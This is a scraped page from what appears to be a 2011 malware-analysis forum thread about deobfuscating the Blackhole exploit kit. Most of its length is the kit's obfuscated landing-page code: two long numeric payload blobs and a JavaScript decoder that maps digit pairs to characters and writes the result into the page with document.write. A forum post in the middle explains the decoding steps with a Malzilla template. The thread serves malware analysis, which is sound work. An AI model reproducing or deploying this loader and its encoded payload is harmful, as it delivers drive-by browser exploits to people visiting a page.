586005615551738296868561542575238290224464509861520284916245615557917575206202849160069082164573006693259703259704567222456152257061333490821640086152028491645375771175709558600885615551738296868</div><div>00212456155636174955255728394357003015132854255525572839435745456868211506394357450986152028491624561555791757520620284916006908216457300669325969063943576932211506394357703259704567222456152257061333</div><div>49082164008615202849164537375586002245095586005615551738296868561542575238290224464509065239092215307136171755822430151328543071361717381337303606305600554509373767065239094236520582242215644225176755</div><div>86008245097157792482152257061657792206560045675586005615551765722500715779454509861517063606721724715779024104816062816786085200362441673676715779673635354509212456152257066572250082152257060071577962</div><div>81623645154257521755087945675586002145098615740329367171593670242137373737373036063056005545093737558600861574032936717115715779220656024145098615740329245615860852253606657225008615740329367171594170</div><div>45375257067252790586373732787257523975550656087206474343715706174141608672793006550879003032364509423652052124345579820834156436423632826706523909558600216868211571367922686821157136792215873917065725</div><div>45093615423671725724592115713679221587391706572515225706185208435752063900696436423615425752175508796945356905693221157136792215873917065725152257061852084357520639006964364236154257798208526945356905</div><div>69703737303606305600824509373732787257523975550656087206474343715706176086727930065508790045094236520530240656551732862430153132223236243015787257523975550656087206474343715706176755860088361542367172</div><div>57450936154236717257245979727171327972717170675586008886155517382968683455798208341564364236450955860086153387242411686886155517334357523668688615425752334357523676841511686886154257523343575236022484</div><div>45093757711757095586008615551740573058086868861530082543365257657225170086154257524057305808326981328432413241694576416868861530082543365257657225170086154257524057305808326981325332413241694502244145</div><div>09375771175709558600861555174057305808450942365205553221325624820830722557790667558600561530525736065729715725577906686856153052573606572942577906450906523909552456153052573606572971572557790600698255</div><div>42694532212456153052573606572942577906006920284916294257790617694567211555795506294257790600693056367922576932863671175732863671175745675515368282294257790616551706577957520069305636792257693286155636</div><div>79827157520030157872575239755506560872064743437157061741413286323645328636711757456755158255174336063056294257790600214537303606305600224509373737577117570930157872575239755506560872064743437157061741</div><div>41008632364537373737375257067252790536154236717257373236434371570660095257177271061760595979727171327972717170325979727171327972717170325979727171327972717170703220284916605941324132417032363006554257</div><div>60594132413241703236717108345782605911321132117032137225253933216428362220284916604132137225253987433679283622202849166041322257060357177271066086727930065508790045094236520530240656551715525717727106</div><div>17323632216786085200362441673676301571577922065667363535450921243059367067558600215941704509215257365837375257067252795970153008793036060021453732303679285239608672793006550879008245094236520521240656</div><div>55173230242115313236242115433652577906650882576755860021153671710834578259827024242345095257067252790506527257375586008836154257521755087941666688361529793621715782666600301555173829686888301547300655</div><div>42571429793621715782454509558600211536717108345782598270242411450952570672527905065272573755860021153671710834578259827024248168688821152257060357177271060045594170450952570672527905065272573737525706</div><div>72527905863671175737323036792852394779396086727930065508790045094236520521240656551732366786085200362441673676211536717108345782157157792206566736353545095586002115303679285239003645450952570672527905</div><div>06527257373752570672527905863671175737323036792717574743437157062836226086727930065508790045094236520521240656551732302421153132362421154336525779066508825767525706725279008830155517382966663615297936</div><div>21715782453732303679271757332164573006283622608672793006550879004509423652053624065655173221243615316752570672527900882115551738296666211547300655425714297936217157824537327872575239285655176086727930</div><div>06550879005645094236520522323024065655173221243015433652577906650882573286242115313236244257798208522479727171328224861522570613334908216400301520284916595670320652725745675586008245090652390936248215</div><div>22570661575217550879004535690569674257798208522482152257066157798208520045356905696782151706360672172136520086153455791608368257820469056960690569453730360630560022450937558600861555178706526572250036</div><div>45450930155257177271061759567024593632425779820852703706523909558600861555173829686836686882155257368239870636065788244445098615223652213622572406527257678215433652577906650882571552572508425710565571</div><div>82008245373730360630560022450937373732557917575206202849166372575239477171608672793006550879005745094236520522240656551732792422154336525779066508825732822479153132082422155257177271061732782422152028</div><div>49163256246968792117436768792117436768792117436768792117436769327224694715307136171769675586008882155517870652557922005745666688007380156436528017513173451506571706005745666600738080734515065717060057</div><div>45450952570672527959797271713279727171703755860079153328507681450979153328502481375586007915645257135517362171578200454509525706725279597972717132797271717037558600791533285076114509791533285024113742</div><div>36520530245732062469693225675586000073598073707345150657170600574545092524571517437155060069736945673024255925157157792206566281706725592515715779220656628170246969670624251564085579006973694537423652</div><div>05642459693652305655425769323032693008825769327270327124596925363917305255430669326906527257697032522459691730525543063621715769326906527257697015300879303606007145328624888215551738296868791525552557</div><div>33216468687915255525573321641506394357047915255525573321641506394357607915255525572839435759417067558600887859417068682215303679271757332164573006283622004568682215303679285239004145450978594170248215</div><div>55173829048215557917575206202849160069082164573006693259690639435769328670153008793036060064453259693008825721361757693206701530087930360600644515300879303606005245325632794560821555791757520620284916</div><div>00690821645730066932596906394357693286326936523056554257693230326930713617175582693269643642366069357270325969300882572136175769320632693652305655425769323070153008793036060052453256327945670859417024</div><div>59413241706722157872575239285655170041453755860088785981706868221530367927175747434371570628362200456868221530367928523900814545097859817024821555173829048215557917575206202849160069364343715706693259</div><div>69367106693256701530087930360600714515300879303606006445325969300882572136175769320670153008793036060071453256327945608215557917575206202849160069364343715706693259693008825721361757693206326936710669</div><div>32567015300879303606007145153008793036060064453259701530087930360600714532563279456708598170245941324170672215787257523928565517008145375586008878591170686822153036792717573321645730062836220045686822</div><div>15303679285239001145450978591170248215551738290482155579175752062028491600690821645730066932596930713617175582693279153071361717381370325969300882572136175769320670153008793036060064451530087930360600</div><div>52453256327945608215557917575206202849160045670859117024594132417067221578725752392856551700114537558600882215137225253933216428362220284916686822153036792717573321645730062836220045450922151372252539</div><div>33216428362220284916248215557917575206202849160069082164573006693259703259703256453755860088221513722525398743367928362220284916450922151372252539874336792836222028491624821555791757520620284916006969</div><div>32597032597032564537674236520558323624416786085200582441675876081571577922065667583535450955860078595870666622153036792852390058454509363535375771175709215257365837375586003624240815715779220656450979</div><div>15225706615752175508791308795724791586085230576157525586392836221571577922065602410441608137525706725279052215225706035717727106004537373236434357798260867279300655087900573282450986085200423652053024</div><div>41673076821571577922065667303535450957154372175600825930704537373274364236505548608672793006550879004509373732368208215752573682575260092555255728394357606936434371553036065508797343828669327936421871</div><div>72225579332164607972717132435208223813605969473052081813501518135069326918135015188286100652716970323071361717381360693071175582601047534784075341621153411362818110506247114413624444441919231944414141</div><div>41693238658728471616291360093732437172225579203617495525572839435760867279300655087900823230328645094236520521240656551732572421153132366786085200360555790582450955860082593670686882593670150639435768</div><div>68825936701506394357242430450952570672527905813737558600571522570649552557297936217157821871722255790030328645450952570672527905813752570672527905413732225706615752175508796086727930065508790055326445</div><div>09423652058624065655173230248615313256328232583225244324797271713222247972717132712479727171323632216764240030155517870652557922006445686864157157792206564504641552574371363057007380177332696945150608</div><div>16083457521036175700456086152555255728394357675586003015551713578655795782008615386587284716162913596470454509861555791706367171578224861538658728471616291359647067525706725279375586008830155517382945</div><div>09362469478208215715511813501551187172226204557966478208215715514730520821360615511871722262045579664782082157155103573682575215511871722262045579696755860086152257066157521755087913087957882424414509</div><div>86152257066157521755087913087957244167432430152257064955255729793621715782187172225579008615255525572839435732364567558600884368683015563617495525572839435700861525552557283943574545094324301586557982</div><div>65364218717222557900363241453755860043450986157936421871722255793321642443672224301522570665722500431582571730525543065508794566663015225706657225004315793625574567222430152257061871722255795055715761</div><div>57521755087900433222456755860088226868301533872424814509558600861543717222557920361749552557283943570043326936434371553036065508797342798215368208215715438286482571693236454509222469846937577117570955</div><div>86008615437172225579203617495525572839435700433269364343715530360655087973427982153682082157154862253652176932364545092224695369373737373757711757092224861542575217550879372524301522570649552557297936</div><div>21715782187172225579006432364567861555791706367171578224256868220481600025044160008615793642187172225579332164046241151160628145453757711757094324301522570647143300861543520822381359417045666630152257</div><div>06471433008615435208223813598170456721247324801751005980828015703545732267065239098224004366663015225706133349082164003015557917575206202849160069082164573006693259693071361717558269328615307136171738</div><div>13703259691752306932696970326969328645454515405706615752175508791700456786085200582441675876196758353545095586002115065717060082456868008822666603572229484315318102224545092224035722294843153181373737</div><div>30360630560056450937861555791706367171578224220481600043044160628145375586008886154257521755087945098615425752175508792430158608522536066572250022453786153865872847161629135964702486155579170636717157</div><div>82373732838360413767187172225579135706573006155579550687305255430600456718717222557913570657300615225706615752175508790069156945676442575224187172225579135706573006152257066157521755087900697436423669</div><div>32643642368655715745674382864257522418717222557913570657300615225706615752175508790069478208215703573682575269456737303606305600574509375586000639435708860564425752242485170652557922854509644257522464</div><div>42575215174371550600851585453757711757096442575224594132413241324170375586000639435708860543828642575224248517065255792285450943828642575224438286425752151743715506008515854537577117570943828642575224</div><div>59413241324132417037867279300655087905174371410045095586000064425752598170242419686864425752592370762411234566660064425752598170242446686864425752592370762481534545098208307225577906153452550657006976</div><div>36434371570605300882572485217255718287575242553057151272557182107136171715307136171785053652305655425724851573223625571773340852251715643652850534558206562485818505565755225606248581850276433652362505</div><div>79362557248543850542367172572485574141084913133058037763036115737203131161085708647253235555465653558573027673364343715706026945673717437181004537867279300655087905174371810045095586006442575259817024</div><div>24466868644257525923707624112345094236520506525586522482083072255779061530525736065729715725577906008538500347492985456706525586521517570647060652552172065700853455820656853281456706525586521517570647</div><div>06065255217206570085565755225606853281456706525586521517570647060652552172065700851752308532851573223625571773643642367706527217061543564304862481414185456782083072255779061521088239153643435779821056</div><div>55718200065255865245371743711100453786727930065508790517437111004509558600644257525981702424466868644257525923700224814168686442575259237076248184450986727930065508790571641700307155824509065239094236</div><div>52052256062124820830722557790615305257360657297157255779060069331274291028694567225606211530713617175582246930711755826069353071558267225606211571367279305600695606064360056915300879303606006962746264</div><div>36526932690562748080808005055606064360737378720821360815557986087382154356430486248141416857241105790879576945453730360630560057450937377164170069104750292950471062132910076241414141624141414162471210</div><div>13295050291310124769456771641700695347138410534441624144442962818113816212232984624141534119504484841384236945673717437123004537867279300655087905174371230045095586006442575259817024244668686442575259</div><div>23700224818468686442575259237076241181450942365205177155865224820830722557790615305257360657297157255779060085385003474929854567177155865215175706470606525521720657008534558206568532814567177155865215</div><div>17570647060652552172065700855657552256068532814567177155865215175706470606525521720657008517523085328515732236255717736436423677175839715579571543564304862481414185456782083072255779061521088239153643</div><div>43577982105655718200177155865245371743714400453786727930065508790517437144004509423652055236442469157373151573733682082157724382360657155748576932523623248208307225577906153052573606572971572557790600</div><div>69082164573006694567523623151757064706065255217206570069558269325236234567523623151757064706065255217206570069307136171755826932693071175582601213844610191946624619472362818113416284532347624141104144</div><div>50101184292346694567065239094236520552364124523623151052573606573321645730060069368208822115170652573625693269694532523681245236231510525736065733216457300600698756577171154743437155303606550879693269</div><div>69453252361124523623151052573606573321645730060069251748257111151449162028281869326969456706523909523611150843577900694029286932695606064360737378720821360815557986087382154356430486248141416857244469</div><div>32863671175745675236111517577982004567523641150639435724816752364115084357790045675236411575525506570052361115525717430879175712088239456752364115873642572808505571570052364432114567523641151071081757</div><div>00456737303606305600574509370652390952368115175657717157485730720657005236444567373036063056005745093737303606305600574509371743711900453786727930065508790517560834774382860017523045094236520543558652</div><div>24820830722557790615305257360657297157255779060085385003474929854567435586521517570647060652552172065700853455820656853281456743558652151757064706065255217206570085565755225606853281456743558652151757</div><div>06470606525521720657008517523085321752304567820830722557790615210882391536434357798210565571820043558652453786727930065508790517437119004509558600438286425752594170024168684382864257525941707653450917</div><div>56083477438286008515732236255717738186824315435643048624814141854537577117570555860000438286425752594170242453456666004382864257525941702424846868438286425752598170762423454509175608347743828600851573</div><div>22362557177311868243154356430486248141418545371743714600453786727930065508790517437146004509065239098608520042365205552441322567557679364255223606085215437172225579171571577922065667553535450942365205</div><div>79362557247936425522360608521543717222557917595570157936255767558600793625571555798257483386008549578255360518713639575285458824628145092524820830722557790615305257360657297157255779060085385003474929</div><div>85456725151757064706065255217206570085175230853285157322362557177343305615435643048624814141854567251517570647060652552172065700853455820656853241456725151757064706065255217206570085565755225606853241</div><div>45678208307225577906152108823915364343577982105655718200254537373730360630560057450937175706285525570872060057798277525782555257300632464141414537174371410045</div></div><script>';


z="(^>R? t7o{C2BDX.LsP5Hbg3=m@UTE";
z+="c$,Ow+a}IyG0vp4)6AxMF*r8Kihek[";
z+=":V-QjN|;&\"]lu/JW<_qn\\1dz9'fS!";

s=new String();

        if(typeof(a) == 'string') {
         a=a.replace(/<html><body><div style="overflow:hidden;width:1px;height:1px;">/g,"");
a=a.replace(/<\/div>/g,"");         
         a=a.replace(/<div>/g,"");         
         a=a.replace(/<script>/g,"");
         for (i=0;i<=a.length;i+=2){
  q=a.substr(i,1)*10;
          q+=a.substr(i+1,1)*1;
  s=s+z.substr(q,1);
         }
        }
         else   
        if(typeof(a) == 'object')  {
         for(i=0;i<=a.length;i++){
  s+=z.substr(a[i],1);
}
        }

        document.write(s);
Ruining the bad guy's day

August 25, 2011, 02:55:17 pm
Reply #5

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Updated template for Blackhole exploit kit

I suspect that Blackhole author reads this thread too. Blackhole kit has been modified again yesterday.

Someone asked me how to deobfuscate this new version.

Here we go :

First you need an updated Malzilla template.

Code: [Select]
s=new String();

        if(typeof(a) == 'string') {        
          if (typeof(z) == 'undefined') {
           pos = a.indexOf('<textarea id="textarea" style="overflow:hidden;width:1px;height:1px;">');
           if (pos > -1) {
            z = a.substring(pos);            
            z = z.replace(/<textarea id="textarea" style="overflow:hidden;width:1px;height:1px;">/g,"");            
            z = z.replace(/<\/textarea><script>/g,"");            
            a = a.substring(0,pos);            
           }  
          }
         a=a.replace(/<html><body><div style="overflow:hidden;width:1px;height:1px;">/g,"");        
         a=a.replace(/<\/div>/g,"");        
         a=a.replace(/<div>/g,"");          
         a=a.replace(/<script>/g,"");        
        
         for (i=0;i<=a.length;i+=2){
 q=a.substr(i,1)*10;
          q+=a.substr(i+1,1)*1;
 s=s+z.substr(q,1);
         }
        }
         else  
        if(typeof(a) == 'object')  {
         for(i=0;i<=a.length;i++){
 s+=z.substr(a[i],1);
}
        }

        document.write(s);

The character table is now embedded into a textarea html tag. See selected text in this screenshot



Insert a backslash before each blackslash and before each single quotation mark.
Add a single quotation mark and a semicolon after the script tag.



Insert an "a='" at the beginning of the script and replace the javascript code by the template code. That's it.

Here is an example of a modified script.

Code: [Select]
       
a='<html><body><div style="overflow:hidden;width:1px;height:1px;"><div>15484288503801540821623754386956654238015438624465113244520352763148547677488801156536113244653642380154386244651162445610162688014254374801763801155162381537623842546910472137011548210802484284543748</div><div>01081162382653561154548582363639484839023808424850561614138462762884138426370238535608363984503819363938547884138489012648082884625616138462762813386253660324032403240357248515261338625366032403240324</div><div>03571654626047138462767202883937018738543842545347118401150238628226880142543748016942241824841047623854886201762688014254374801691047426918248410141424371987382637013815822688014254374801691810476238</div><div>54886201765460853848267618635329880115382637013815291424371964626284608226880142543748016918104762385488620169368462628460363710085438195469351828384254088562485448546085380854486754623701390842840202</div><div>69181010142437197788014282268801425437480169181047623854886201765460853848267618535329268801425437480129142437196754623701398226880142543748016918104762385488620176546085384826761853532919546237013929</div><div>14243719318850822688014254374801691810476238548862017654608538482676185353290188501838622914243719675462318850822688014254374801691810476238548862016954608538482676185353291954623701392912126936491536</div><div>10085438195469181010142439385431885073383975823666491557664915490849512400573336241985023754318850733839758236664908495124005736392439385431885082268801425437480169182442104713846276155354113719248453</div><div>15083719675462318850691810076915083719873826370138156942100701382176733839257585694210821508393854318850733839751008387538426918108201880202166238548862017684078466035782018802021424424850858462383188</div><div>50198226880142543748016911242624151047138462763853541137192442241824842439538584621938890154163726693808371967546231885069111012123808371967546231885069261010473726693808371987382637013815691510121215</div><div>08424850858462383188501910476238548862017615084248508584623831885019691124261014425311081985023754693808198502375431885073383975101618532608198502375469380819850237543188507338397510162648626984530316</div><div>84654684541108503701694208023801395411241808023801395411101684838310473726693969426684572432031044396918668457243203101047623854886201763214372669396942668457243203106539691866845724320310104762385488</div><div>62017600321414146238548862017603142426486250845431885082268801425437480169182442104713846276155354113719248424381637266963150837196754623188506918101047623854886201760188020214372669631508371931885069</div><div>42101047425352144200001638531808623885028442386936491936392429291008198502375469150819850237543188507338397510084248014284546966290329242903292429032924290329571016264862698453031684655216848383104737</div><div>26693606690383106908831080360854381954693866845710104738668457537338392575850880271437266984444259596369364915361008543819546938668457101047386684575329032914146238548862017638081902374238690324521008</div><div>28483701692924291014248080118419463750383460853882268801425437480169841047623854886201762688014254374801691510473726696384083719892512121510471384627642241824382426538408371967546237013969151007661557</div><div>82151637266963265959632608023801395411104762385488620176018802021426486269385303163865260802380139541116388383104737266936660649195736085438195469266638571012126942530184133739845448620850375038346085</div><div>38196626663857571012126918534208380184180238157202883937011012126918080184503859591808153819426237855437480110104762385488620176421414146238548862017601880202141424263701153184137202883937018226880142</div><div>54374801690224382442104713846276285354113719241153013821767338392575856902242937291024155369632808371987382637013815693810595938100736491536820324235342070138217673383925758569422429372910820324845301</div><div>84133739845448620885028839370119243953292924262418245016264862692653031626658408023801395411162683831047505384662657081538194262378554374801595939161853846626570801845038595939163726696911085438195469</div><div>50101212696315595915085438195469733839257585080238265417480154387554837338392575850862373911541748015438755410101059596911085438195469181012126963155959150854381954697338392575850802382654174801543875</div><div>54837338392575850862373911541748015438755410101010473726696323595963692308543819546950105959230854381954691810101047623854886201768466265714141462385488620176018802021424393854463750382501841802381572</div><div>02883937018226880142543748016984242610471384627638535411371924182442530138217673383925758569262429372910241553292916372669691853380811841946375038346085386984101012126918531808380184180238157202883937</div><div>01101212694208543819546918081538194262378554374801595915105959420854381954691808018450385959151010104762385488620176181462385488620176031424393854720288393701773702384538621937480182268801425437480169</div><div>26241810471384627611535411371924382415243924842442530032163726691108356744275959632659596326081338621937480159596369385311083938543188506926081338621937480110101047623854886201761814372669631810476238</div><div>54886201763814385311082648625084543188506938101618531108264862508454318850691810161553180819850237546911081985023754318850733839751016395338081985023754691108198502375431885073383975101626486269845303</div><div>16846515080238013954111684838310473726694244003212128444421212156684576353290329104762385488620176181437266939668457635315668457104737266942535300321047425384143726691566845763532903291047623854886201</div><div>76181414146238548862017638142464863582213701154821086442543713388635182838425424393854648635822688014254374801691810471384627626530188020224152442535411371924841654626047265301382176420864863569181014</div><div>42845442116915104714623854886201762614244248011338625477880142198226880142543748016939104713846276842411242624185336066649805766498057362415534714244253541137191626486269847637017639104737266918085438</div><div>19546984101047156684575332141426486269847637017615104754626047115384081902374238692710163726691108023801395411440312126339661157104739661157533966845769391016153802385438763966845714144284544211692610</div><div>47141414243701375467426237855482268801425437480169104713846276425354113719248453018413373984544862243853293629243753840888193862643938015459592929243953840813380115486259592929241853840885028454264862</div><div>50595929292411538408856248158842545959292916420835675332030316372669181047138462762624155366295837012924322429468442292427242920370188752924612429776238387067872924522429377211480138292427320832242937</div><div>72481529242732082724293772841529242732086124295837010833172529242727083224295837010833464818370238292427270827242972484223385449491933721729242727086124292924320303571626486269265315080238013954110027</div><div>16264453031626532600271047372669156626571212013821767338392575856915662657242937291008543819546918101047420835675315662683325716186238842314141442084248011338625477880142196942101642083719892553013821</div><div>76778801425437480169296238548862017629833883293374424251480163743329833883292684021938291069101642081338628925534208371989251212693646678925491933694915834908074915331036371008543819546937100785846219</div><div>38770248845469733839257585088032243203108201880202164208644254371338862501841802381553268402193816372669420837198925104713846276262428536629461975500227088646203034347229242946197550022708873546874842</div><div>88503801542924294637426248194826540886462087354629242967114842232184133877028419110867114842232184133877028419112924293487171754020834871717540229242967113802020871893038028538622924296742623785543701</div><div>39088737425437480184626029242921508502846038620848427529571626486269265303162665280802380139541116268383104737266942083938546486356928662657101047420864425437133886250184180238155354628838161862388423</div><div>14144208113884155342083719873826370138156915484288503801540839385425023850380154197060348439318450381007154842885038015408393854250238503801541970603484393184503869291138841529106603578201880202144208</div><div>37194138422348536936413842234836371008543819546911101212693641384223484919334936491933491536371008543819546937101642081338624138422348534208371941384223480742082648625084543188506969366213491933498249</div><div>19336966490849244915578310363710085438195469371007733839257585088032822903082229108201880202164208371967842684623753693667842684623749193349364919334915363710085438195469371012126936648585023836371008</div><div>54381954693910164208371917116248503853693617116248503849193349364919336949156649154908573310363710085438195469371016420813386217116248503853420837191711624850380742082648625084543188506973383925758508</div><div>80321082018802021642083719358538628453693635853862844919336649365707491933694915834908074915331036371008543819546937101642081338623585386284534208371935853862841212696936453862193748014919334936491933</div><div>69491583490807491533103637100854381954693710595932100785846219387702488454697338392575850880322432031082018802021642088415155837012513380154692902488415292442081184011502386269420862880158202688014219</div><div>24421010142437013754822688014254374801694210471384627618535411371924842442163726696318083719675462370139694210104762385488620176006114372669420802380139541153533210471808393854453862193748018738023750</div><div>37543862534216623854886201760061144253420854482048213862178419386910086238850284423869364919363924292910168453186642571637266963845959638408393854453862193748011047623854886201760061141808850288393701</div><div>53841637266963180837198738263701381569840837011954840202381510104784083701195484020238155384081338621937480153840813386219374801035384083938544538621937480187480138530188020216840880531816840885028839</div><div>37013184503853421418083984621884393853268402193816372669180837198925121263180864425437133886250184180238151047372669846353531808288413841047623854886201760027141462385488620176321424267288191182268801</div><div>42543748016918248410471384627642535411371916372669420837196462628460698410121269420837197788014269181059596942083719646262846069181012121808023801395411440312124208371977880142691866035710101010478408</div><div>85881911691810141424428402026462628460822688014254374801691810471384627642535411371924841637266942083719646262846069181010472648626984530316846518080238013954111684838310473726691866845753535301880202</div><div>10476238548862011442084284020269186684571016186684575301880202141414244284020282268801425437480169421047138462761853541137192484531808371964626284606942100742080238013954118200321637266984440312121808</div><div>37197788014269426603571010474266035769182484443207426632578203248444270742662757820324844461074266615782031014380219384737266918083719778801426942101047426918101414142439385445386219374801873802375037</div><div>54386282292429248080393854453862193748018226880142543748016984104762385488620176268801425437480169392415244210471384627638538408370137546939102426241824111637266938650310476238548862017601880202141626</div><div>53840885028839370116372669260839385445386219374801874801386353321047260839385445386219374801690188020224152442101637266926083938544538621937480187480138535353018802021047260839385445386219374801874801</div><div>38533214148408420238840188856910161853692608133862193748015959260813386219374801031016185318071808623885028442386984081985023754318850733839752484083938544538621937480187380237503754386210821816623854</div><div>88620176181414244202388401888582268801425437480169104713846276845354113719163726698408398462188439381212840837198738263701381569213701154821081748020238425441846218843938101047213701154821081748020238</div><div>42544184621884393869101414248415155837012513380154822688014254374801691524421047138462763853541137192484532137011548212418163726693808371977880142694210104737266984088415152513380154203719543801386210</div><div>47840884151525133801542037195438013862691524422426840219381014380219384737266984088454548442112513380154104784088454548442112513380154692948012983152442101438021938471853846629480129831557168466294801</div><div>29831557533808213701308401150238626942241810141414142421370130840115023862822688014254374801691524421047623854886201762688014254374801691047156910163726695460853848267642535329268801425437480129104742</div><div>69101414142458202688014219038266572458202688014219826657246288015820268801421982268801425437480169841047840821370120488415381553546288381684084284020264626284606984085820268801421903101684084284020264</div><div>62628460698408582026880142191016372669840848018748013825508554608737131047840848018748013825508554608737136910141424213701204884153815822684021938248080480158370115482120488415381582268801425437480169</div><div>84104762385488620176268801425437480169181047372669840821370120488415381510478408428402026918101438021938478408267288191169182484085820268801421910141414241537138201880202241537135837155411827903248502</div><div>88393701673755388232243850855460873713822688014254374801691047138462764253541137192484243824182415530316372669420815371312124208153713084211370215314815381910472648626984534208153713084211370215314815</div><div>38190802380139541100321684445303168400001047185342081537130842113702153148153819668457163726691812121808421137021531481538191047372669155353031047264862693853180842113702153148153819080238013954110032</div><div>16384453031638000010471808623850481338171137021569180842113702153148153819663857101442081537130862385048133817113702156918101438021938471414141414248735312526880142198266572448018748013825508554608737</div><div>13822688014254374801691047138462764253541137192484241816372669634208213701204884153815104762385488620114372669420858202688014219121242085820268801421908023801395411121242085820268801421966420858202688</div><div>01421908023801395411003257635353018802021047623854886201142648626984763701764210471853426684571637266918121218082688014219104737266918083534775353611047623854886201143726691808268801421908023801395411</div><div>12121808268801421966180826880142190802380139541100325763535301880202104762385488620114141426486269845303168465420887353125268801421908023801395411168483831047420842840202646262846069420887353125268801</div><div>42191014420838508554608737136910142439385458371554118226880142543748016942104737266942104713846276845342081942624802025837155411595942084826261938545837155411241853541137191637266918083719318850698410</div><div>10476238548862017684141462385488620176003214243938543484396754845488198226880142543748016950243924842418104713846276425354113719242624235350081985840124025342083938545837155411692310241153840819858401</div><div>24285342083938545837155411691110241553390819858401243753420839385458371554116915101637266963235959631159596315595963420839385487354648182869501010476238548862017600271437266928653759590265035959286503</div><div>59593765035959376553420885028839370167375538595942088502883937016737553865321047623854886201760314372669024453371047623854886201760032145462604737266902535342088502883937016737553812126963420837198925</div><div>59594208393854873546481828695010086238841560675484543853535210104737266963500821370120488415381512124208213701204884153815104762385488620176321437266950082137012048841538151212420837193188506918101047</div><div>37266963420837193188506950084248880154101047500842488801545318143726691800500842488801544453320310476238548862017632141414144284544211692610471462385488620176031424393854873546481828822688014254374801</div><div>69392484104713846276262415535411371924425339073908198584018203241853421212420826376219541711370215073282031654626047372669181212841047420826376219541711370215082648428819691014144284544211692610471462</div><div>38548862017618074208263762195417113702158201880202142419385467546002388226880142543748016918243910471384627626531808195460023824842415244253541137191637266926121239104726486269845303168465390802380139</div><div>54111684538483271047546260472666396684575753396684833257144284544211691510471414141424370119386254873713890170481560822688014254374801693710471384627639241553541137192411532985156161222261612222292442</div><div>53018802022426531548428850380154241853296529248453692608393854250238503801541970603484393184503869291848156029106603575959260818481560101637266963841047546260472608216237543869188356153713763715532956</div><div>83118356294448568318832936153713442910164253260839385425023850380154706089156911101442845442116939104714148453692608393854250238503801541970603484393184503869291848156029106603575959260818481560101637</div><div>26698410473726698408263762195417113702151212150837198738263701381569840837011938625470382648623810104784083701193862547038264862386937248408263762195417113702151014380219384784088485853801151711370215</div><div>69371014372669421047840862385048133817113702156942101414380219384714142437011938625430344620822688014254374801693924182411248424231047138462760224505315484288503801542428535411371924402448535008426238</div><div>84543825023850380154692919858401291024012437242653296529161384627642536629488854023701386754600238292429014801382924291848621538626754600238292429014801382924298584151537013929242903857529242950846239</div><div>37012924290385752924291337193718370237546029242913371937180238295716372669632808371987382637013815698410104784532929143726692808371967546237013969391012126936660649195736100854381954693910104740532683</div><div>39835676213715541153295683280885028839370167375538835629761138373911545329568328088502883937016737553883562976561626486269015303160165180802380139541116015301832710473726693666064919573608543819546918</div><div>66018332571010474083531866015783565329568318660183325783562976561414408353294429162648626901530316016511080238013954111601530183271047372669366606491957360854381954691166018332571010474083532683568584</div><div>62845076018450385329568311660157835629761384028838532956831166018332578356297636445614144083538483268329362983398329442914380219384740538414372669632808153713104728081537135350084262388454382502385038</div><div>01546929153713291016375350083938542502385038015470608915692985028839370115385438425429101637266937104728081537135337143802193847280815371308371553298502883937011538543842542916280837011938625487371389</div><div>01704815606928081537131014280819385467546002386928081537132442084248014284546966292137155411292428081537135837155411832985752924291138373911542924692808850288393701673755388361108329857529242926480154</div><div>67375538292469280885028839370167375538836110832985752924290237013830383739115429246928088502883937016737553883611083298575292429133862543742840264023739012924291884193802370138292429153719850284602924</div><div>29180248422329571010163726696337104728081938546754600238692808153713246629854819375437480129242984181948028854382924296237391154292429038575292429544885292429038575295710141437266928081537131212280815</div><div>37130885846238015431481538104728081537130884858538011517113702156948101628081938546754600238694824420842480142845469662926480154673755382924692808850288393701673755388361108329857529242902370138303837</div><div>39115429246928088502883937016737553883611083298575292429133862543742840264023739012924291884193802370138292429153719850284602924293701023701382957101016546260473726694812124808858462380154314815381047</div><div>48082648428819691014144284544211690210471454626047480837010138623034462053401442845442116902104714372669480842113702153148153819080238013954115353321212636928083719413842234812122808424850858462383188</div><div>50196928081338624138422348242932247924032403291065031010472808193854675460023869480826376219541711370215244208424801428454696629153719850284602924293701023701382957101014623854886201471985840182482421</div><div>37012048841538158228082137012048841538152454843931845038826928083719675462370139693910073982292910141462385488620147198584018201880202242137012048841538158228082137012048841538152454843931845038822929</div><div>14142428841384824750375038346085388266298485850237428454374801367500288413840084858502385429242984858502374284543748013675002884138400135029242984858502374284543748013675002884138400183884012957245037</div><div>50383460853878728982298485850237428454374801367500288413840084858502385416288537001338621937480153292442028419198987822942021937158243648722174352030003525225003232873200706125220003034303797752222287</div><div>22612924873409420284191989878229420219371582176477252577641700872517040003030303000303030300647017872577772587177064292487340950375038346085388266298485850237428454374801362884138400153885024860503801</div><div>54005448480223375429242984858502374284543748013601856288015437503800194262378554841802380085028839370116873885024860503801543448480223375429572426486242384538623726603484398266572428846282665724250184</div><div>18023815820184133739845448620828841384250184180238156910244525318735736782662967880176463742624819601954385019768901420829242964858502387617485085885438622476890142082957243534778201880202246402025113</div><div>38621937480119826657245037503834608538787289623819880254822929247884138472028839370151133862193748011982665724788413844538621937480119826666322422242724610357246632244324272461035724663224042427246103</div><div>57246632240524322461035724663224792432246103572466322452242724610357246632246124322461035757241938846242117884138472028839370164863582268801425437480169104713846276115301880202248453541137192442538408</div><div>80243953665724285366322479240324325257243753663224052403242757242653663224612432240357243853663224522427240357241553663224792403240457241853268402193816372669634208644254371338862501841802381510476238</div><div>54886201760188020214163726694208133862892544538408503701892513386210473953840819388462421178841384648635693724372418101637266939080238013954114403121218104739538408193884624211788413846486356928242824</div><div>18101414380219384737266939080238013954115353031047395384081938846242117884138464863569262438242684021938101414372669390802380139541144031047115339660357148408788413847202883937015113386219374801195366</div><div>57084248014284546939101662385488620176111424193884624211788413846486358226880142543748016902243724501047138462760124262411535411371908802440242324842438243924282418246253665716372669110842485085846238</div><div>31885019690208284837016929242910243708284837016929242910104403104737530214375311082648625084543188506937082848370169292429101016138462764824155329322452242724032924425329788413847202883937010829830266</div><div>03578329298302663257832929830266275783292983690266615744030769295129836902666157653203072903298229291083026661571082292910162648626901530316016554113719087884138445386219374801190802380139541116018383</div><div>10472653541137190878841384453862193748011966015716405329788413847202883937010829832666035783292983266632571639532666035783290829832666325783290829162648626984532666275716844453031684000010471853297884</div><div>13845838186754846254083719890119548402023815082983398384832908032916372669110842485085846238318850196926660357832924298326663257832924298384832924032924371044530312126311083938546486356918101047424801</div><div>54370188381448531108424850858462383188501969266603578329242983266632578329242983848329240329241510650307546288388226840219381626486269385326666157163844530316380000104723538483295129836938653203072903</div><div>2983388238101628534083231637266911083938546486356928101212694859591108393854648635691810101